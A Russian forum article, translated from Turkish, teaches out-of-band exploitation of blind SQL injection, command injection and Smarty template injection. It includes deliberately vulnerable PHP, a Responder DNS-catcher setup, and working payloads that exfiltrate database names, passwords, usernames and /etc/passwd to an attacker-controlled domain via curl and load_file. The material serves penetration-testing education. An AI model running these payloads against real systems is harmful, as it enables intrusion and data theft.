Статья - Out-of-band атаки | Форум информационной безопасности

Статья является переводом. Оригинал вот
Ссылка скрыта от гостей

В этой статье я расскажу о понятии и концепции "Out-of-band" (на рус. «вне-диапазона») , а также о использовании на некоторых примерах.

Структура статьи

1. Что значит "Out-of-band"?
2. Blind уязвимости

2.1 Blind SQL Injection

2.2 Blind Command Injection

2.3 Blind Cross-site Scripting

3. Подготовка подходящей среды для извлечения данных
4. Использование уязвимостей с помощью OOB-технологии

4.1 Использование Blind SQL Injection уязвимости с помощью OOB-технологии

4.1.1 MySQL

4.1.2 PostgreSQL

4.2 Использование Blind Command Injection уязвимости OOB-технологии

4.3 Использование Blind SSTI (Server-side Template Injection) уязвимости с помощью OOB-технологии

1. Что значит " Out-of-band"?

Хоть на первый взгляд это может показаться бессмысленным, но на самом деле, out-of-band хорошо демонстрирует общую концепцию. Давайте рассмотрим это шаг за шагом. Сначала нужно ответить на вопрос, что такое band? Band - это “емкость” коммуникационного канала. Более технически, она относится к (канальной) емкости сокета, открытого между клиентом и сервером, когда клиент посылает HTTP пакет на сервер. Вы поймете больше в следующих разделах статьи.

Теперь, говоря об out-of - не нужно путаться, это старое доброе outside of. Когда эти слова объединены, можно сказать, что атака out-of-band означает атаку, осуществляемую только путем превышения емкости сокета, открытого между клиентом и сервером.

Говоря простым языком, во время атаки обычно посылается HTTP-запрос. Сервер получает этот запрос, обрабатывает его и отправляет результат обратно в виде HTTP ответа. После этого, анализируется вывод и задаются вопросы: есть ли у атакуемого входа уязвимость - если да, будет ли атака успешной?

Например, символы <> отправляют на вход, подверженный XSS-атаке. Затем проверяется, содержит ли HTTP-ответ эти специальные символы, и если да, то в каком контексте они находятся.

В некоторых случаях, в силу природы уязвимости, сервер не выдает существенных результатов. Поэтому один и тот же результат будет выдан независимо от того, пройдет ли атака успешно или окажется неудачной. Итак, как же проверить наличие уязвимости? Как правило, мы не можем пока что, но прочитав эту статью, вы сможете это сделать, используя OOB (out-of-band) метод.

OOB - это общее имя, даваемое атакам, при которых с сервера посылается внешний запрос. Если во время атаки, атакованный сервер дает нам бессмысленный ответ, то мы, по сути, заставим сервер послать запрос на указанный домен или IP-адрес и забрать при этом данные. Сервер, на который будет отправлен запрос, является специально настроенным сервером, который будет ждать запрос, содержащий желаемые данные. Таким образом, мы будем извлекать желаемые данные сервера.

Нам может понадобиться отправлять запросы различных протоколов в зависимости от типа уязвимости - например, иногда посылать FTP, иногда HTTP, а иногда SMTP запросы. При отправке этих запросов могут быть некоторые ограничения. Для того, чтобы преодолеть эти проблемы, мы будем использовать DNS как можно чаще, потому что какой бы протокол нам ни пришлось использовать, если мы хотим отправить запрос на доменное имя, будет отправлен DNS-запрос для разрешения IP-адреса серверов. Таким образом, мы будем извлекать данных через DNS намного чаще. То есть, при использовании протокола «X», так как этот протокол должен выполнять DNS преобразование, мы автоматически выполним DNS.

2. Blind уязвимости

2.1. Blind SQL Injection

Я начну объяснять Blind (на рус. «Слепых») уязвимости через SQL-инъекцию, пропустив часть разъяснений, что такое SQL, и как его внедрять, надеясь, что вы это уже знаете. Ниже приведен кусок кода, содержащий SQL-инъекцию:

PHP:

...

$sql = "SELECT * FROM users WHERE id=".$_GET['id'];

$result = $conn->query($sql);

while($row = $result->fetch_assoc()) {

echo "id: " . $row["id"]. " - username: " . $row["username"];

}

...

Давайте проверим, работает ли вышеприведенный код.

Как видно, пользователь с ID 1 был взят из базы данных и выдан нам.

Давайте проведем атаку на этот код, чтобы освежить нашу память. Сначала в браузере поставим единственную кавычку (апостроф) в конце идентификационного параметра внутри QueryString.

Как можно заметить, PHP выдал ошибку, как только апостроф вызывает синтаксическую ошибку в SQL-запросе. Основываясь на этой ошибке, давайте продолжим атаку, используя простой или настоящий пейлоад, и докажем существование уязвимости, создав SQL-запрос таким образом, чтобы он отображал всех пользователей в базе данных.

Предположим, что разработчик этого кода модифицировал его и внес эти 2 изменения:

Отключить отображение ошибок PHP.
Не выводить данные на экран после получения результата SQL-запроса.

На этот раз наш код будет выглядеть так:

PHP:

// Turn PHP error displays off

ini_set('display_errors', 'Off');

error_reporting(~E_ALL);

$sql = "SELECT * FROM users WHERE id=".$_GET['id'];

$result = $conn->query($sql);

// Do not display the output to the screen after fetching the result //of the SQL query.

// while($row = $result->fetch_assoc()) {

//    echo "id: " . $row["id"]. " - username: " . $row["username"];

// }

...

Как мы видим, разработчик отключил сообщения об ошибках, а блок кода, который отвечал за вывод данных на экран после извлечения результата SQL, был закомментирован.

Теперь попробуем атаковать.

Мы атаковали точно так же, как и несколько абзацев назад, но видимого вывода нет. Однако, просмотрев на код выше, мы уверены, что уязвимость SQL Injection все таки есть.

Blind уязвимости – это уязвимости, при использовании которых, мы не можем располагать непосредственным выводом (от этого и название этих уязвимостей). И мы убедились в этом на примере.

Слепые уязвимости не ограничиваются только SQL Injection. С тем же успехом мы можем столкнуться со слепыми уязвимостями в некоторых других высокорискованных областях, таких как Code Evaluation, XSS и Command Injection.

2.2 Внедрение Blind Command

Как и в случае с SQL Injection, посмотрим, как возникнет эта уязвимость, сначала нормальная (рефлексивная), а затем слепая.

PHP:

<?php

echo shell_exec($_GET['cmd']);

…

В приведенном выше коде есть «отраженная» уязвимость, так как возвращаемое из функции shell_exec имеет значение echo (то есть выводится результат введенной команды). Попробуем ее использовать.

Как видно на скриншоте выше, можно увидеть вывод отправленных нами команд.

Хорошо, а что бы случилось, если бы разработчик не повторил значение, возвращенное из функции shell_exec?

PHP:

<?php

shell_exec($_GET['cmd']);

…

Попробуйте сейчас.

Так же, как это случилось с Blind SQL Injection, мы не можем увидеть результат. Вот, что делает эту уязвимость слепой.

2.3 Слепой межсайтовый скриптинг

XSS - это уязвимость, которая структурно требует взаимодействия с пользователем. Вы не можете напрямую столкнуться с сервером. Жертва должна использовать браузер, а JavaScript должен каким-то образом запускаться в браузере жертвы.

Reflected XSS (Отраженный XSS) прост: если значение, отправленное вами в качестве входного, напечатано напрямую, вы можете выйти из контекста HTML и подготовить пейлоад для JS. После этого, если вы можете каким-то образом заставить цель (т.е. жертву) ввести пейлоад в качестве ввода, и вуаля! Вы успешно воспользовались уязвимостью! Самый распространенный вход - Query String (Строка Запроса): если вход находится в Query String, Вам не придется заставлять цель вводить пейлоад. Если Вы напрямую отправите цели полный URL, введенный в пейлоад, то этот же пейлоад будет отправлено простым кликом.

Blind версия XSS должна храниться на сервере. Как мы уже говорили - если вы не видите результат во время атаки, атака будет слепой. Но как XSS будет XSS’ом, если мы не видим обработанные данные? А мы и не должны их видеть. Слепой XSS происходит в тех случаях, когда посылаемый вами пейлоад хранится и выводится на другой странице, к которой у вас нет доступа.

Представьте, что вы написали простое ПО для ведения блога. Администратор входит в систему, пишет блог, публикует его, читатели его читают и комментируют. Комментарии сначала хранятся ИСКЛЮЧИТЕЛЬНО в панели администратора, и публикуются только после утверждения администратором. Если администратор одобряет это, комментарии будут видны в интерфейсе сайта неавторизованными пользователями.

Если в панеле админа, где комментарии публикуются, есть XSS, то такой XSS называют слепым. Потому что вы увидите только сообщение типа "Ваш комментарий был отправлен успешно, он будет виден после одобрения администратора". Вы не сможете увидеть тот XSS, который может появиться на экране администратора.

Слепые уязвимости работают примерно вот так. Я думаю, 3-х примеров будет достаточно, чтобы понять концепцию подобных уязвимостей.

3. Подготовка подходящей среды для извлечения данных

Чтобы подытожить то, что я объяснял в предыдущих разделах, нам нужно отправить внешний запрос на сервер, на котором мы хотим попробовать выполнить инъекцию. В следующем разделе мы рассмотрим, как и какие типы запросов, мы можем отправить, и на какую систему.

В этом разделе нам нужно будет установить сервер, на который будут отправляться запросы от зараженных путем инъекции систем. Типы запросов, которые мы можем отправлять, могут измениться в зависимости от используемой системы и типа уязвимости. Мы можем запрашивать иногда от HTTP, иногда от FTP, а иногда и от нескольких других протоколов. Поэтому создаваемая нами система должна быть совместима со всеми другими.

Инструмент, который мы будем использовать - Responder. Этот инструмент, написанный SpiderLabs, на самом деле работает с очень простой логикой. Вы даже можете написать его сами, чтобы понять и узнать, как работают наиболее используемые протоколы. Короче говоря, сервис X прослушивает n-й порт, как будто он из него вышел. Выполняются 2 вещи, когда пакет поступает в порт:

Запрос записывается в логи, чтобы мы его смогли увидеть.
Система, которая отсылает запрос, посылает ответный пакет, конкретный для этого сервиса, как и ожидалось системой, чтобы не появились ошибки.

Вы можете получить доступ к исходному коду Responder с помощью этого репозитория на GitHub: SpiderLabs/Responder.

Вам понадобится сервер для установки Responder. Я создал 5-долларовый сервер под названием oob-test от DigitalOcean.

Теперь пришло время для установки и использования Responder. Существует несколько важных моментов, которым нужно уделить внимание:

После установки сервера не забудьте установить Python 2.7 до того, как Responder for Responder не будет работать без Python 2.7.
Если вы создали сервер от провайдера со всеми закрытыми портами, например, AWS, не забудьте открыть эти порты.
Обязательно выполняйте все операции с привилегиями root.

После подключения к серверу по SSH и установки Python 2.7, перенисите репозиторий Responder в текущую директорию, используя следующую команду:

$ git clone https://github.com/SpiderLabs/Responder

Далее, используя команду ниже, перейдите в каталог Responder, запустите Responder и проверьте, работает он или нет.

Отлично! Responder работает успешно. Не стоит беспокоиться об ошибке "-I <if> mandatory option is missing ". Эта ошибка была выведена лишь потому, что мы не предоставили программа интерфейс для прослушивания. На этом этапе мы просто проверяли, работает ли программа.

Пришло время запустить программу для прослушивания входящих пакетов.

При запуске Responder мы установим 2 параметра:

-I параметр: Параметр, который указывает, какой сетевой интерфейс прослушивать. Этот параметр является обязательным. С помощью команды ifconfig вы можете получить список интерфейсов в вашей системе и получить имя вашего широковещательного интерфейса. Мой широковещательный интерфейс называется "eth0".
-v параметр: Verbose параметр. Я буду использовать его для просмотра сгенерированных логов сразу в терминале. Он не является обязательным для использования, но мы будем использовать его, чтобы мгновенно видеть логи.

Чтобы узнать другие параметры, можно использовать команду ./Responder -help.

Я использовал следующую команду, чтобы запустить Responder с необходимыми параметрами:

$ ./Responder -I eth0 -w

Как можно заметить, Responder начал прослушивать порты с сообщением "Listening for events..." (Прослушивание событий...). В списке выше видно, что по умолчанию прослушиваются порты некоторых сервисов. Так как мы будем работать только с DNS, а порт DNS (53-й порт) прослушивается по умолчанию, то нет необходимости делать дополнительную настройку для этого.

Когда я пытаюсь получить доступ к IP-адресу своего сервера из браузера, видно, что служба Responder HTTP-сервера работает на 80 порту и отображает входящие журналы в терминале.

Наконец, нам нужно определить IP-адрес нашего сервера как DNS IP-адрес доменного имени принадлежащего нам так, чтобы для разрешения DNS-запроса, приходящего к домену, DNS-запрос направлялся в Responder.

Для этой операции я буду использовать omercitak.net - доменное имя, которое я обычно использую для тестирования подобного рода вещей. После входа в панель управления моего доменного имени, я сначала создаю 2 записи главного сервера доменного имени с именами ns1 и ns2, а затем ввожу IP адрес сервера, на котором установлен Responder, после чего нажимаю save.

После этого я выбираю эти записи со страницы Ad Sunucuları (Турецкий для имен серверов) и сохраняю.

Далее, когда вы посещаете

Ссылка скрыта от гостей

через браузер, запрос, который вы отправляете, должен быть виден в Responder.

P.S. Вы можете не получить мгновенных результатов, так как на серверах, через которые проходит ваш запрос, может быть активен DNS Cache. В таком случае я рекомендую, время от времени , проверять каждые 2-3 часа.

После выполнения этого шага, вы можете увидеть, что 1 DNS и 1 HTTP пакет прибыли в Responder, когда мы посетили

Ссылка скрыта от гостей

Теперь мы готовы воспользоваться уязвимостями!

4. Использование уязвимостей с помощью OOB-технологии

Теперь очередь OOB-технологии. Просмотрите уязвимости еще раз и ответьте - что у них общего? Так как при выполнении атаки не было выведенной информации, мы были не осведомлены о проходившей атаке. В таких случаях OOB-техника приходит нам на помощь.

OOB не всегда получается использовать в каждой слепой уязвимости.

В первом разделе мы определили, что OOB это - выполнение атаки путем выхода из сокета, открытого между атакующим (клиентом) и сервером. Как же нам это сделать?

Существует несколько способов, но общим среди них, является возможность запроса извне. Если нам удастся отправить запрос с атакованного сервера наружу, мы сможем воспользоваться уязвимостью с помощью OOB-техники.

Можно по-разному отправить запросов с сервера наружу. Вы даже можете разработать свой собственный, который никто еще не использовал. Это немного открыто, но обычно используются такие протоколы, как HTTP, DNS и FTP.

Если возможно послать пакет с любого протокола, такого как HTTP, DNS, FTP и т.д., с атакованного сервера, то также возможно включить в этот пакет информацию об учетных данных сервера и вывести их из него.

П.С. извлечение данных из системы называется " data exfiltration (эксфильтрацией данных)".

Здесь мы сталкиваемся с двумя проблемами:

Как извлечь данные?
Куда мы отправляем данные?

Решение первой проблемы варьируется. Как я уже говорил, мы не сможем использовать каждую слепую уязвимость с помощью OOB. Отчасти это зависит от методов, которые мы можем использовать на стороне сервера, и от настроенных конфигураций.

По этой причине нам необходимо провести некоторые исследования в зависимости от типа уязвимости. Например, взяв SQL Injection в качестве примера, нам нужно найти метод отправки запроса с сервера внутри запроса.

Подумайте немного, и продолжайте читать, если вы не догадаетесь

.

4.1 Использование "слепой" SQL-инъекционной уязвимости с помощью OOB-технологии

Существуют некоторые методы, специфичные для каждой базы данных. Некоторые из них используются по умолчанию, некоторые необходимо настроить дополнительно.

4.1.1 MySQL

В MySQL есть переменная с именем secure_file_priv. Эта переменная контролирует импорт/экспорт файлов, таких как LOAD DATA, OUTFILE и LOAD_FILE(). К этой переменной можно присваивать 3 типа значений. В зависимости от присвоенных значений, поведение MySQL меняется следующим образом:

Если,

Путь к каталогу в системе задан: MySQL выполняет операции экспорта и импорта только в этот каталог.
Установлен NULL: Команда и такие функции, как LOAD DATA, OUTFILE и LOAD_FILE(), используемые при импорте и экспорте MySQL, отключены.
Ничего не установлено: Операции экспорта и импорта можно выполнить где угодно.

Если переменная secure_file_priv не пуста, то мы просто не сможем выполнить OOB-атаку.

Эта переменная по умолчанию является EMPTY в MySQL 5.5.34.
Эта переменная по умолчанию NULL в MySQL 5.6.34.

Что же нам теперь делать с этими функциями экспорта/импорта? Такие команды и функции, как LOAD DATA, OUTFILE, LOAD_FILE() могут импортировать файлы не только снаружи. Обратите внимание, что импорт файла извне означает отправку HTTP-запроса. Мы добавляем данные на MySQL-сервере, где мы уже можем выполнять инъекции и команды на адрес импорта файла. Затем, если мы будем следовать входящим запросам на сервере, где файл будет импортирован, мы будем извлекать данные изнутри и снаружи.

Сделаем пример с LOAD_FILE.

Используем тестовый пример, который мы подготовили для SQL Injection в предыдущем разделе. Как я писал выше, тут не будет полный SQL Injection 101. Вместо этого я непосредственно покажу пример OOB.

Команда, которую я использовал для OOB с помощью LOAD_FILE:

load_file(concat('\\\\', database(), '.omercitak.net\\abc'))

В этой команде, concat

Ссылка скрыта от гостей

и имя БД является поддоменом omercitak.net и помещает полученную строку в функцию load_file. Вышеприведенная команда конкатенует БД в качестве поддомена домена omercitak.net с помощью concat-функции и помещает результирующую строку в функцию load_file.

Скажем, если имя БД будет test, результирующая строка из функции concat будет такой:

\\\\test.omercitak.net\\abc

Для того, чтобы заинжектитт пейлоад, нам нужно написать этот пейлоад именно вот так:

union select load_file(concat('\\\\', database(), '.omercitak.net\\abc')),1,2

В браузере, мы посылаем пейлоад в параметр уязвимого идентификатора.

Проверяем Responder сейчас.

Буквы oob можно увидеть в качестве субдомена в DNS логах. Имя базы данных теперь является oob.

Взгляните на информацию о версии.

union select load_file(concat('\\\\', version(), '.omercitak.net\\abc')),1,2

Мы получили информацию о версии - 10.1.37 MariaDB.

Теперь давайте напишем подзапрос и получим пароли пользователей в базе данных.

union select load_file(concat('\\\\', (select password from users where id=1), '.omercitak.net\\abc')),1,2

Пароль первого пользователя - 123456.

Остальное уже за вами.

4.1.2 PostgreSQL

Нет необходимости заново изобретать велосипед для PostgreSQL, так как его уже изобрел

, вот вам ссылка на видео работы демо-версии

https://www.youtube.com/watch?v=8ItJbYrZOK8

4.2 Использование Blind Command Injection уязвимости OOB-технологии

Пример кода для Blind Command Injection приведен в разделе Blind Vulnerabilities. Вызов кода:

PHP:

<?php

shell_exec($_GET['cmd']);

?>

Мы не получим вывод, какую бы команду мы ни выполняли в системе после отправки пейлоада из параметра «cmd» строки запроса. Перед переходом к OOB, давайте проведем time-based атаку и проанализируем её поведение.

Как видите, я отправил команду "sleep 5", и загрузка страницы заняла 5 долгих секунд. Подтвердить это можно, попробовав 2-3 раза с несколькими интервалами.

P.S. Так как этот PHP-файл работает под Linux, я использовал команду "sleep". Насколько я помню, в Windows нет команды sleep. Если бы система была Windows, я бы использовал другую команду, альтернативную данной.

Теперь давайте воспользуемся этой уязвимостью используя OOB.

Как я уже писал - нам нужно отправить внешний запрос с этого сервера. Для этого есть много команд на Linux, таких как nslookup, wget и т.д... Мы будем использовать curl.

$ curl omercitak.net

Когда мы отправляем эту команду напрямую, мы видим, что соответствующий DNS-запрос приходит к нашему Responder.

Хорошо, но как мы извлекаем данные? Для этого нам нужно понять, что такое подкоманда. На Linux системах мы можем выполнять команды внутри команд. Нам это нужно, чтобы мы могли использовать уязвимость OOB-way. Так же, как и SQL Injection, мы будем посылать результат команды в качестве поддомена перед доменным именем omercitak.net и посылать запрос с помощью curl.

Вы можете использовать подкоманды двумя способами на Linux системах:

Написание команды внутри между грависом "`", например, `whoami`.
Записав нужную команду вместо обычной команды в шаблоне $(команда). Мы будем использовать и то, и другое.

Сначала давайте узнаем имя пользователя, который работает на веб-сервере.

$ curl `whoami`.omercitak.net

Входящий запрос на Responder:

Пользователь - это www-data.

Пора узнать путь к каталогу, в котором запущен файл. Этот путь очень важен для нас, потому что он - единственный публичный каталог в системе, в котором работает веб-сервер. Если мы найдем этот каталог и получим разрешение на запись, мы сможем заставить тип уязвимости перейти от OOB к Reflected.

Команда, которую мне нужно использовать, чтобы найти мою текущую директорию - это pwd, но я не смогу использовать ее, как в предыдущей команде.

$ curl `whoami`.omercitak.net

Причина, по которой мы не можем её использовать, заключается в символе слеша "/" в конце каталога. Так как поддомен не может содержать символ косой черты, команда curl выдаст ошибку. С помощью команды sed я собираюсь заменить косую черту на точку ".", применив простой шаблон RegEx.

$ sed "s/\//./g" <<< `pwd`

Однако, конечно, для того, чтобы выдать эту команду в качестве поддомена omercitak.net, мне нужно поместить ее в полный подзапрос. Поэтому команда будет следующая;

$ curl a$(sed "s/\//./g" <<< `pwd`).omercitak.net

Причина, по которой я ставлю букву a после curl и перед знаком $, в том, что обратный путь - полный. После того, как мы заменили символ косой черты на период, то возвращаемый путь к каталогу будет что-то вроде "test1.test2.test3". Вдобавок, так как домен не может начинаться с периода, curl будет выдавать ошибку. Мы либо удаляем период в начале, либо не допустим, чтобы curl выдавал ошибку, поместив случайный символ точно так же, как и я.

Output: .a.var.www.html.omercitak.net.

Мы поставили букву "а" в начало. Если мы проигнорируем ее и посмотрим на остальное, то увидим, что наш каталог является "/var/www/html".

Теперь давайте извлечем данные в общий каталог! С помощью следующей команды:

cat /etc/passwd > /var/www/html/dump.txt

Я создал файл с именем dump.txt в публичном каталоге и поместил в него вывод passwd. Здесь нас не волнует, вернется ли Response пустым - мы уже знаем, что Blind уязвимость есть.

Теперь я зайду в dump.txt из браузера и посмотрю, сможет ли он записать файл /etc/passwd в общую директорию.

И результат таков, каким вы его видите. Улучшение атаки уже зависит от вас.

4.3 Использование Blind SSTI (Server-side Template Injection) уязвимости с помощью OOB-технологии

Современные веб-приложения используют Template Engines или движки шаблонов, потому что, они более читабельные, поддаются расширению кода и обладают хорошей производительностью. Эти шаблонные движки становятся очень опасными, если их использовать без осторожности.

Многие движки доступны на других языках и большинство из них уязвимы.

Если вы не знаете, что такое SSTI, я рекомендую вам прочитать следующий блог, а затем продолжить чтение.

Ссылка скрыта от гостей

Существует инструмент под названием tplmap для эксплуатирования уязвимостей SSTI, точно так же как sqlmap, который мы используем для SQL Injection. Человек, разработавший инструмент tplmap, также опубликовал несколько тестовых примеров. Мы запустим встроенные уязвимые тестовые кейсы tplmap и попробуем применить к ним OOB-технику.

Tplmap GitHub repo: epinna/tplmap.

$ git clone https://github.com/epinna/tplmap

С помощью этой команды скопируйте инструмент Tplmap и все его тестовые кейсы на ваш компьютер. Следующая команда обозначает переход в каталог, в котором находятся док-файлы тестовых кейсов.

Код:

$ cd tplmap/docker_envs/

$ docker-compose up tplmap_test_php

С помощью этой команды, создается изображение из Dockerfile с помощью docker-compose, а новый контейнер создается с помощью этого сгенерированного изображения.

Примечание 1: Для выполнения тестов необходимо установить на вашу машину docker и docker-compose.

Примечание 2: Как мы делали это раньше, вы можете использовать команду "docker-compose up tplmap_test_php" для запуска тестового сценария, специфичного только для одного языка, а не для всех тестовых сценариев. Если вы запустите только команду "docker-compose up" и не укажете имя сервиса, то будут запущены все тесты.

После запуска тестового сценария выполним наш тест через Smarty. Отправим основную полезную нагрузку SSTI как {5*6} и проверим, есть ли в ответе математическая операция.

В ответе можно заметить 30. Даже если мы не знаем, уязвим ли Smarty, то после отправки этого пейлоада, мы уверены на 100%.

Теперь мы попробуем выполнить в системе команду над уязвимостью SSTI. То есть, мы перейдем от SSTI к Command Injection. И все же, конечно, не напрямую: сначала от SSTI к Code Evaluation, а затем к Command Injection.

От SSTI к Code Evaluation:

Smarty непосредственно оценивает коды, написанные тегами {php}. То есть, если мы напишем "{php} print_r('deneme') {/php}", то код будет работать.

После того, как мы можем выполнять код, давайте увеличим наши привилегии, сделаем так, чтобы мы могли выполнять команды в системе.

От Code Evaluation к Command Injection:

Существует класс Smarty_Resource, который идет в комплекте с Smarty Engine, а внутри этого класса есть метод parseResourceName.

Как следует из названия, этот метод является методом, который анализирует и печатает имена ресурсов. Есть 2 параметра:

Для первого параметра мы введем PHP-код, который мы хотим видеть на выходе, а для второго параметра - случайная буква, чтобы PHP не выдавал ошибку.

Примечание: Именно я разработал этот метод, поэтому вы его нигде не найдете. Поэтому я даю вам приватный метод, и пусть это будет одолжением для читателей Arka Kapi (турецкий журнал, похож на ][акер).

В заключение, пейлоад будет таким:

{php}print_r(Smarty_Resource::parseResourceName(system("ls -la"),'b'));{/php}

Теперь, давайте отправим подготовленный пейлоад на параметр inj, и посмотрим, сможем ли мы увидеть вывод от команды ls -la.

Супер! Мы получили нужный нам результат. Теперь попробуем прочитать файл /etc/passwd.

{php}print_r(Smarty_Resource::parseResourceName(system("cat /etc/passwd"),'b'));{/php}

Здорово! До сих пор это основная «отраженная» уязвимость. Человек, разработавший Tplmap, а значит, и тестовые кейсы, добавил интересную особенность: если отправить метод под названием "blind" из QueryString, то уязвимость становится blind.

Теперь давайте добавим параметр blind из QueryString в дополнение к предыдущему URL.

Как видите, мы не получили результат, а это означает, что уязвимость становится blind.

Давайте извлечем данные здесь, применяя технику OOB. Мы можем преобразовать уязвимость из SSTI в Command Injection. В вышеприведенном разделе мы уже видели, как посылать запросы на наш Responder в Command Injection.

$ curl `whoami`.omercitak.net

Используем ту же самую технику.

Смотрим на выход:

Как оказалось, мы снова получили выходные данные www-data по команде whoami.

Увидимся в другой статье, и счастливого хакинга!

Источники

https://github.com/SpiderLabs/Responder
Ссылка скрыта от гостей
https://github.com/epinna/tplmap
Ссылка скрыта от гостей

Последнее редактирование: 19.03.2020

Реакции: D3L1F3R, WiIson, Khadjit_anonymous и ещё 13

Нажмите, чтобы раскрыть...

Все сервисы Codeby

Поиск

Поиск

Статья Out-of-band атаки

Seledkad

mrtyrel

Khadjit_anonymous

Well-known member

uwu_net

Andrei_0x7eff0